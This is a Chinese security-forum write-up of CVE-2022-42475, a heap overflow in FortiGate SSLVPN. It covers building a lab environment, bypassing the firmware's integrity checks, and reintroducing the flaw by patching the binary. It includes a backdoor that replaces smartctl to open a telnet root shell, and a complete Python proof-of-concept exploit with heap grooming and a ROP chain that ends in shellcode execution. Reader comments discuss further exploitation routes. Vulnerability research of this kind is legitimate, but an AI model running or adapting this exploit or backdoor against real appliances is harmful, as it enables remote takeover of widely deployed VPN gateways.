问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞分析与利用
漏洞分析
搭建运行环境 可以在 Fortinet 官网下载 FortiGate 的虚拟机镜像. https://support.fortinet.com/Download/VMImages.aspx 下载 New deployment of xxxx 的 zip 压缩包,比如 FOS_VM64-v7.2.4...
搭建运行环境 ------ 可以在 Fortinet 官网下载 FortiGate 的虚拟机镜像. <https://support.fortinet.com/Download/VMImages.aspx> ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-0375d10f3ca7ffa5c4f3bb14b2329b1355d7ea02.png) 下载 New deployment of xxxx 的 zip 压缩包,比如 FOS\_VM64-v7.2.4.F-build1396-FORTINET.out.ovf.zip 解压之后双击 .ovf 文件,用 vmware station 导入虚拟机即可. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-7053b162c9101953c620912734662d60055c09a3.png) 导入后将虚拟机网卡绑定到 NAT 网卡 (默认是物理桥接,理论上应该也没有问题). ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-d1ed9e247a84a7d08092767cf484e864ea009984.png) 启动后使用 admin + 空密码登录系统,按提示设置 admin 账户密码,然后给网卡配置 ip,以及允许访问的服务/端口,端口配置如下(NAT网段为 192.168.213.0/24) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-8d620334ffa08f9e7b0a870bb0b88eee33a5aa73.png) 之后访问 80 端口 web 页面,在页面中配置 sslvpn 并增加相应防火墙规则。 vpn 配置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-6e3e2c84450adf0ba122960e9479bc12b25ad31d.png) vpn防火墙配置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-cf9d0c6b5565fec1498c65f6df5050bffbf8414c.png) 之后访问 sslvpn 的端口,就会出现 vpn 登录页面,至此可以触发漏洞的环境就已经搭建好了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-e6e5f5a6460dd8e3517a74981915890dec5543d5.png) 搭建调试和漏洞环境 --------- 目前 Fortinet 官网只能下载 7.2.4 和 7.0.10 两个版本的镜像,而漏洞是在 7.2.3 版本中被修复,最终漏洞复现方式是下载 7.2.4 版本镜像,然后通过二进制 patch,去掉漏洞的补丁。 ### 提取二进制 二进制程序位于虚拟机磁盘文件中,使用 vmware workstation (Linux 虚拟机)挂载 fortinet 虚拟机的磁盘文件,在虚拟机中挂载分区。 主要业务二进制位于 FORTIOS 分区的 rootfs.gz 打包文件中,使用 gzip + cpio 解压后会出现结果 .tar 文件,使用 rootfs 下的 xz 和 ftar 解压这些文件. ```shell sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz sudo chroot . /sbin/ftar -xf /bin.tar sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz sudo chroot . /sbin/ftar -xf /migadmin.tar sudo chroot . /sbin/xz --check=sha256 -d /usr.tar.xz sudo chroot . /sbin/ftar -xf /usr.tar ``` 解压后的目录结构 ```shell ┌──(root?kali)-[~/fos] └─# ls -lh total 416K drwxr-xr-x 2 root root 4.0K Mar 6 03:48 bin -rw-r--r-- 1 root root 256 Jan 31 00:11 bin.tar.xz.chk drwxr-xr-x 2 root root 4.0K Jan 31 00:10 boot drwxr-xr-x 3 root root 4.0K Mar 6 01:22 data drwxr-xr-x 2 root root 4.0K Jan 31 00:10 data2 drwxr-xr-x 7 root root 20K Mar 6 01:22 dev lrwxrwxrwx 1 root root 8 Mar 6 01:22 etc -> data/etc lrwxrwxrwx 1 root root 1 Mar 6 01:22 fortidev -> / lrwxrwxrwx 1 root root 10 Mar 6 01:22 init -> /sbin/init drwxr-xr-x 3 root root 4.0K Mar 6 01:22 lib lrwxrwxrwx 1 root root 4 Mar 6 01:22 lib64 -> /lib drwxr-xr-x 22 root root 12K Mar 6 01:23 migadmin -rw-r--r-- 1 root root 330K Jan 31 00:11 node-scripts.tar.xz drwxr-xr-x 2 root root 4.0K Jan 31 00:10 proc drwxr-xr-x 2 root root 4.0K Mar 6 01:22 sbin drwxr-xr-x 2 root root 4.0K Jan 31 00:10 sys drwxr-xr-x 2 root root 4.0K Jan 31 00:10 tmp drwxr-xr-x 4 root root 4.0K Mar 6 02:59 usr -rw-r--r-- 1 root root 256 Jan 31 00:11 usr.tar.xz.chk drwxr-xr-x 8 root root 4.0K Mar 6 01:22 var ┌──(root?kali)-[~/fos] └─# ls -lh bin/init -rwxr-xr-x 1 root root 68M Mar 7 00:28 bin/init ┌──(root?kali)-[~/fos] └─# ls -lh bin/sslvpnd lrwxrwxrwx 1 root root 9 Mar 6 01:23 bin/sslvpnd -> /bin/init ``` `/bin/sslvpnd` 是本次的分析目标,其实际是指向 `/bin/init` 的软链接. ### 搭建 GDB 调试环境 登录虚拟机console后,拿到的是一个受限的命令行界面,无法执行 shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境. #### Fortios 的文件系统校验 系统的内核文件是 FORTIOS 分区的 flatkc 文件(flatkc.chk 是它的签名文件),内核的命令行参数位于 extlinux.conf 文件中. ```c / # cat /data/extlinux.conf DISPLAY boot.msg TIMEOUT 10 TOTALTIMEOUT 9000 DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz ``` 使用 [vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf) 将其转换为 elf 文件,然后使用 IDA 加载,定位到启动用户态进程的位置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-2422ac35115d6c915b8d5e589b10ac3b035c504e.png) fgt\_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程,其代码如下 ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *argv[4]; // [rsp+0h] [rbp-20h] BYREF verify_filesystem(); unlink("/sbin/init.chk"); if ( (int)decompress_dir("bin") >= 0 && (int)decompress_dir("migadmin") >= 0 && (int)decompress_dir("node-scripts") >= 0 ) { decompress_dir("usr"); } argv[0] = "/bin/init"; argv[1] = 0LL; execve("/bin/init", argv, 0LL); return 0LL; } ``` 代码逻辑: 1. 首先校验文件系统 2. 然后使用 decompress\_dir 解压 bin.tar.gz 、migadmin.tar.gz 、node-scripts.tar.gz 、usr.tar.gz 3. 最后执行 /bin/init . /bin/init 程序 main 函数中首先会有几处校验,如果校验失败就会调用 do\_halt 重启系统. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-934855e10da5661af9d019c4cb696ef1096f3c9e.png) 其中 verify\_kernel\_and\_rootfs\_0 目的是校验内核镜像和文件系统. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-e2aee794487d8ce260b52bb0c3e19348b2daa068.png) #### 通过 Patch 绕过文件系统校验 再次简单梳理下系统启动校验流程: 1. 内核解压 rootfs.gz,执行用户态进程 (/sbin/init) 之前会调用 fgt\_verify 校验文件系统. 2. /sbin/init 会解压文件系统,然后执行 /bin/init 进程. 3. /bin/init 进行多次系统校验,校验失败会重启系统. Patch 思路: 1. 手动解压 rootfs.gz 以及其中的各个 tar.gz 文件. 2. 然后 Patch /bin/init 程序,忽略其中的系统校验逻辑. 3. 使用 cpio 和 gzip 重新打包 rootfs.gz 4. 替换 FORTIOS 分区中的 rootfs.gz 5. 利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行. /bin/init 程序 Patch 前后对比: patch前: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-254b7fa74773e9978447f36440a8b011bbe50956.png) patch 后: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-324cc188b9e18ca31376baf0c3b5203d870c8a08.png) rootfs.gz 重打包命令 ```shell find . | cpio -H newc -o > ../rootfs gzip rootfs ``` 编辑虚拟机 vmx 文件,增加 debugStub,然后 GDB 调试 Fortios 系统内核 ```c debugStub.listen.guest64 = "TRUE" debugStub.listen.guest64.remote = "TRUE" debugStub.port.guest64 = "12345" debugStub.listen.guest32 = "TRUE" debugStub.listen.guest32.remote = "TRUE" debugStub.port.guest32 = "12346" ``` 在 fgt\_verify 处下断点,修改其返回值为0,并修改 /sbin/init 字符串为 /bin/init. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-1b1502376ccd2899dcd6ae2ed3bae340277375d8.png) 然后让内核继续运行,内核会启动修改过的 /bin/init 并绕过文件系统的校验. #### 在文件系统中植入后门 在命令行中执行 `diagnose hardware smartctl` 系统会执行 /bin/smartctl 程序,我们可以通过修改 smartctl 来实现执行任意 shell 命令. 操作流程: 1. 首先下载静态链接的 busybox 并将其放到 /bin/busybox 目录. 2. 然后静态编译后门程序,替换 /bin/smartctl 3. 重新打包 rootfs.gz 4. 进入系统后,执行 `diagnose hardware smartctl` ,触发后门的执行,会在 22 端口监听 telnet 服务. 5. 从其他机器上 telnet 登录即可拿到 Fortios 的 shell. 后门程序代码: ```shell #include <stdio.h> void shell(){ system("/bin/busybox ls", 0, 0); system("/bin/busybox id", 0, 0); system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0); return; } int main(int argc, char const *argv[]) { shell(); return 0; } ``` 拿到 shell 后,通过 wget 下载静态链接的 gdb 即可调试用户态进程. 复现漏洞&漏洞分析 ------------- 由于从官网下载到的镜像是已经修复了该漏洞的版本,于是决定根据 [网上的漏洞信息](https://wzt.ac.cn/2022/12/15/CVE-2022-42475/) ,在新版二进制中去除漏洞补丁,从而进行漏洞复现. 首先根据漏洞信息 patch 了 malloc 里面的 size 限制 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-fe86816f3324611b8d4aecc75d6d3deb71c35a5e.png) 根据漏洞信息可知,发送过大的 content-length 可以触发漏洞,但是尝试发送比较大的 content-length ,服务器会返回 HTTP/1.1 413 Request Entity Too Large 通过在内存分配函数下断点,记录分配大小, ```python (gdb) i b Num Type Disp Enb Address What 2 breakpoint keep n 0x00000000017e2660 breakpoint already hit 812 times printf "1'st alloc size: 0x%lx\n", $rdi c 3 breakpoint keep n 0x00000000017e2a20 printf "2'st alloc size: 0x%lx\n", $rdi c ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-050640d8ccbb34574b5c2c466fc53e6c685b63a4.png) 当 content-length 值较小时会作为 size 向进程申请内存,值比较大时就不会出现在内存分配函数中,猜测程序可能还有几处其他的 patch 校验了 content-length。 经过尝试,发现进程通过 SSL\_read 接受 http 请求数据. ```python Breakpoint 5, 0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3 (gdb) bt #0 0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3 #1 0x00000000016bbb86 in ?? () #2 0x00000000016bc5a1 in ?? () #3 0x00000000016cbf9a in ?? () #4 0x00000000017e802f in ?? () #5 0x00000000017e924b in ?? () #6 0x00000000017eafbd in ?? () #7 0x00000000017ec670 in ?? () #8 0x00000000017ec74e in ?? () #9 0x00000000017ecc59 in ?? () #10 0x00000000017edf1c in ?? () #11 0x00000000017ef2f9 in ?? () #12 0x0000000000448ccf in ?? () #13 0x0000000000451eea in ?? () #14 0x000000000044ea5b in ?? () #15 0x0000000000451098 in ?? () #16 0x0000000000451a67 in ?? () #17 0x00007fd84154ddeb in __libc_start_main () from /usr/lib/x86_64-linux-gnu/libc.so.6 #18 0x0000000000443d3a in ?? () ``` 一层一层回溯,看是否给客户端返回了错误码 ( **513 **),发现在 17E9220 , v6 + 136 里面存的是状态码,sub\_16C7610 会解析状态码。 ```python __int64 __fastcall sub_17E9220(_QWORD *a1, unsigned int a2, unsigned int a3, unsigned int a4) { __int64 v6; // r12 int v7; // eax __int64 result; // rax int v9; // er9 int v10; // eax unsigned int v11; // eax __int64 v12; // rdx unsigned int v13; // [rsp+Ch] [rbp-34h] v6 = a1[92]; v7 = sub_17E7FB0(v6); if ( v7 > 0 ) { result = a2; if ( !*(v6 + 72) ) return result; if ( !*(v6 + 80) ) { if ( sub_16B2B80(*(v6 + 280), "Transfer-Encoding") ) { if ( sub_16B2B80(*(v6 + 280), "Content-Length") ) sub_16B2F00(*(v6 + 280), "Content-Length"); } return sub_17E8840(a1); } sub_1734180(a1, 8LL, "client sent invalid HTTP/0.9 request: HEAD %s\n", *(v6 + 384)); *(v6 + 80) = 0; *(v6 + 136) = 400; LABEL_9: *(v6 + 782) &= 0xE7u; sub_16C7610(v6, 0LL); sub_17EA4A0(a1, &dword_55331A0, 48LL); return 6LL; } v9 = v7; v10 = *(v6 + 136); if ( v10 == 414 || v10 == 405 ) { sub_1734180(a1, 8LL, "request failed: URI too long or method not allowed\n"); goto LABEL_9; } v13 = v9; v11 = sub_16BCE60(*(*(v6 + 8) + 40LL)); v12 = v11; if ( v11 > 5 ) { result = 6LL; if ( v12 != -2 ) { sub_1734180(a1, 128LL, "%s,%d, ret=%d error=%d, sconn=%p.\n", "sslvpn_read_request_common", 677LL, v13, v12, a1); result = 7LL; } } else { result = a3; if ( v12 != 1 ) { result = 0LL; if ( v12 == 2 ) result = a4; } } return result; } ``` 给 v6 + 136 下写断点,定位到修改响应码为 413 的位置和调用栈. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-239b3fa23db4e7cbb59e38e7663ea8d0867a75fd.png) 校验 content-length 的相关代码 ```c __int64 __fastcall sub_16C61D0(__int64 a1, unsigned int a2, int a3) { v3 = a3; v4 = a2; v6 = *(a1 + 280); content_length = find_header(*(a1 + 280), "Content-Length"); v17 = strtoull(content_length, endptr, 10); // content-length 转数字 *(a1 + 240) = v17; if ( *v16 || endptr[0] && *endptr[0] || v17 < 0 ) { sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Invalid Content-Length\n"); result = 400LL; *(a1 + 136) = 400; return result; } v4 = *(a1 + 260); result = 0LL; if ( v3 ) { v11 = *(a1 + 240; // 取出 content-length if ( v11 > 0 && v11 > v3 ) // [0] 校验 content-length { sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Content-Length too large: %s\n", v9); result = 413LL; *(a1 + 136) = 413; // 设置状态码 } } ``` patch 条件 `[0]` 去掉校验 ```c set *(unsigned char*)0x16c62dd=0xeb ``` 根据调试还有 `16B1F74` 的 `size` 校验需要 patch。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-14cc8252c19075c68bca73b2708b1caef30dc199.png) 以上是 Fortios 对 content-length 做的限制,实际本次漏洞的根因代码位于 0x17F1590 处的 sslvpn\_read\_post\_data\_cb 函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-bed5f78ae28a9676ea82798e5825262d45e315a8.png) 上图是 7.2.4 中修复后的版本,用于理清收包逻辑: 1. 首先使用 v2->content\_length + 1 作为 size 去申请内存. 2. 然后调用 read\_data 往 ctx->sock\_buffer 里面读取数据,最多读取 0x1ffe,如果实际 content-length 大于 0x1ffe,会多次进入该数据分批读取数据. 3. 之后根据受到的内容和实际 v2->content\_length 的值计算数据拷贝大小,避免溢出 ctx->content. 4. 最后调用 memcpy 拷贝数据. content\_length 在 0x16C6375 解析,长度为 8 字节. ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-f4cb78c74c261a16b496a8e755b05a6237f65e76.png) 漏洞位于 `sslvpn_read_post_data_cb` 取 `content_length` 字段时是先**取 4 字节**,然后符号扩展成 8 字节,而后面使用该字段均是直接从结构体中**取 8 字节数据 **. 存在漏洞的版本 ```c mov eax, [rax+18h] // DWORD(ctx->content_length) mov rdi, [r12] lea esi, [rax+1] // DWORD(ctx->content_length) + 1 movsxd rsi, esi call alloc ``` 7.2.4 修复后的版本 ```c .text:00000000017F1638 mov rax, [rax+18h] // ctx->content_length .text:00000000017F163C mov rdi, [r12] .text:00000000017F1640 lea rsi, [rax+1] // ctx->content_length + 1 .text:00000000017F1644 call alloc ``` 当提供的 content\_length 为 0x1b00000000 时,由于 `DWORD(ctx->content_length) = 0` ,因此实际申请内存为 1 字节,而下面做内存拷贝时取到的 content-length 为 0x1b00000000,从而导致**堆溢出漏洞**。 此处 patch 的方式是找一块不会被执行的代码 (16C62DF),然后把存在漏洞的汇编代码写到16C62DF,修改 17F1638 处的代码为 jmp 16C62DF ,计算 rsi 完成后再跳转回来继续执行后面的代码,如下所示: ```php .text:00000000017F1638 .text:00000000017F1638 loc_17F1638: ; CODE XREF: sslvpn_read_post_data_cb+29↑j .text:00000000017F1638 jmp loc_16C62DF ; Keypatch modified this from: .text:00000000017F1638 ; mov rax, [rax+18h] .text:00000000017F1638 ; mov rdi, [r12] .text:00000000017F1638 ; Keypatch padded NOP to next boundary: 3 bytes .text:00000000017F1638 ; --------------------------------------------------------------------------- .text:00000000017F163D align 20h .text:00000000017F1640 nop ; size .text:00000000017F1640 ; Keypatch modified this from: .text:00000000017F1640 ; lea rsi, [rax+1] .text:00000000017F1640 ; Keypatch padded NOP to next boundary: 3 bytes .text:00000000017F1641 nop .text:00000000017F1642 nop .text:00000000017F1643 nop .text:00000000017F1644 .text:00000000017F1644 loc_17F1644: ; CODE XREF: sub_16C61D0+11C↑j .text:00000000017F1644 call alloc .text:00000000017F1649 mov [rbx+8], rax ........ .text:00000000016C62DF .text:00000000016C62DF loc_16C62DF: ; CODE XREF: sslvpn_read_post_data_cb:loc_17F1638↓j .text:00000000016C62DF mov eax, [rax+18h] ; Keypatch modified this from: .text:00000000016C62DF ; mov rdx, [rbx+0F0h] .text:00000000016C62DF ; Keypatch padded NOP to next boundary: 3 bytes .text:00000000016C62DF ; Keypatch modified this from: .text:00000000016C62DF ; mov rax, [rax+18h] .text:00000000016C62DF ; Keypatch padded NOP to next boundary: 1 bytes .text:00000000016C62E2 mov rdi, [r12] ; Keypatch modified this from: .text:00000000016C62E2 ; nop .text:00000000016C62E2 ; nop .text:00000000016C62E2 ; nop .text:00000000016C62E2 ; nop .text:00000000016C62E6 lea esi, [rax+1] ; Keypatch modified this from: .text:00000000016C62E6 ; test rdx, rdx .text:00000000016C62E9 movsxd rsi, esi ; Keypatch modified this from: .text:00000000016C62E9 ; jle short loc_16C62AF .text:00000000016C62E9 ; cmp rdx, r13 .text:00000000016C62E9 ; Keypatch padded NOP to next boundary: 2 bytes .text:00000000016C62EC jmp loc_17F1644 ; Keypatch modified this from: .text:00000000016C62EC ; nop .text:00000000016C62EC ; nop .text:00000000016C62EC ; jle short loc_16C62AF .text:00000000016C62EC ; mov rax, [rbx+8] .text:00000000016C62EC ; Keypatch padded NOP to next boundary: 3 bytes ``` 漏洞利用 ---- 结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,就会溢出到函数指针,且溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用. 此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。 二进制保护措施情况 ```c ┌──(kali㉿kali)-[~] └─$ checksec --file=init RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 10 47 init ``` 实际利用思路 (某些步骤不一定需要或者有用): 1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体 2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole. 3. 分配用于溢出的 exp\_sk 4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体 5. 触发溢出,希望修改 SSL 结构体中的函数指针 6. 给其他 socket 发送数据,等待函数指针调用 7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限 8. jmp esp 跳转到栈上的 shellcode 执行。 执行 shellcode 时的调试器上下文如下: ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/03/attach-26a70c7b279e7dfc3ed841bb0be169904a046384.png) poc ```c import socket import ssl from pwn import * import pwn path = "/remote/login".encode() content_length = ["2147483647", "666666", "123412"] content_length = ["666666"] content_length = ["2147483647"] content_length = ["115964116992"] ip = "192.168.213.133" port = 4443 # rdx --> data stack_povit = 0x0000000001350680 # push rdx ; pop rsp ; add ebx, ebp ; ret system_plt = 0x043ECC0 writeable_address = 0x047759F4 cmd = "/bin/busybox id >> /tmp/pwn.log\x00" def create_ssl_ctx(): _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) _socket.connect((ip, port)) _default_context = ssl._create_unverified_context() _socket = _default_context.wrap_socket(_socket) return _socket socks = [] for i in range(60): sk = create_ssl_ctx() data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1" sk.sendall(data) socks.append(sk) for i in range(20, 40, 2): sk = socks[i] sk.close() socks[i] = None CL = "115964116992" data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1" exp_sk = create_ssl_ctx() for i in range(20): sk = create_ssl_ctx() socks.append(sk) exp_sk.sendall(data) payload = cyclic(40000) payload = b"x" * (3613 - 192) """ 0x0000000001356e88 : mov rax, rdx ; pop rbp ; ret 0x0000000000550a38 : mov rax, rdx ; ret 0x000000000076e03e : pop rcx ; ret 0x0000000002c2c9b0 : and rax, rcx ; ret 0x000000000053d5a5 : pop rdi ; ret 0x0000000000687c69 : pop rsi ; ret 0x0000000001f407f4 : mov rdx, rax ; sub rdx, rdi ; sub qword ptr [rsi], rdx ; ret 0x0000000000687c69 : pop rsi ; ret 0x000000000045da22 : mov rdi, rdx ; test esi, esi ; jne 0x45da30 ; ret 0x0000000000687c69 : pop rsi ; ret 0x000000000043f942 : pop rdx ; ret 0x00000000005ecfe6 : jmp rsp """ mov_rax_rdx_ret = 0x0000000000550a38 pop_rcx_ret = 0x000000000076e03e and_rax_rcx_ret = 0x0000000002c2c9b0 pop_rdi_ret = 0x000000000053d5a5 pop_rsi_ret = 0x0000000000687c69 mov_rdx_rax_ret = 0x0000000001f407f4 mov_rdi_rdx_ret = 0x000000000045da22 pop_rdx_ret = 0x000000000043f942 mprotect_plt = 0x0043F460 jmp_rsp = 0x00000000005ecfe6 gadget = b"" gadget += pwn.p64(mov_rax_rdx_ret) # for dirty write, 进程会修改该处栈数据 gadget += pwn.p64(pop_rcx_ret) gadget += pwn.p64(0x0000000001356e88) gadget += pwn.p64(pop_rcx_ret) gadget += pwn.p64(0xfffffffffffff000) gadget += pwn.p64(and_rax_rcx_ret) gadget += pwn.p64(pop_rdi_ret) gadget += pwn.p64(0) gadget += pwn.p64(pop_rsi_ret) gadget += pwn.p64(writeable_address) gadget += pwn.p64(mov_rdx_rax_ret) gadget += pwn.p64(pop_rsi_ret) gadget += pwn.p64(0) gadget += pwn.p64(mov_rdi_rdx_ret) gadget += pwn.p64(pop_rsi_ret) gadget += pwn.p64(0x4000) gadget += pwn.p64(pop_rdx_ret) gadget += pwn.p64(7) gadget += pwn.p64(mprotect_plt) gadget += pwn.p64(jmp_rsp) gadget += b"\xf8" * 12 assert(len(gadget) <= 192) victim_obj = gadget victim_obj += b"\xf2" * (192 - len(victim_obj)) victim_obj += pwn.p64(stack_povit) payload += victim_obj exp_sk.sendall(payload) for sk in socks: if sk: data = b"b" * 40 sk.sendall(data) print("done") ``` 相关参考资料 ------ 1. <https://f01965.com/2021/02/18/fortigate/> 2. <https://f01965.com/2021/02/25/fortigate-Vulnerability/> 3. <https://wzt.ac.cn/2022/12/15/CVE-2022-42475/> 4. <https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/>
发表于 2023-03-15 09:00:01
阅读 ( 20240 )
分类:
漏洞分析
3 推荐
收藏
3 条评论
大哥大
2023-10-03 08:39
怎麼獲得飛塔的用戶身份??
请先
登录
后评论
spobit
2024-03-18 09:46
怎么才能有调试符号? fgt_verify断不下来, 感谢
请先
登录
后评论
emmm
2024-05-14 19:15
这个洞能转换为任意地址写,然后利用execute cmd函数实现任意命令执行。可以做到不需要任何的gadget,在amd64和aarch 下都适用。
请先
登录
后评论
请先
登录
后评论
hac425
14 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!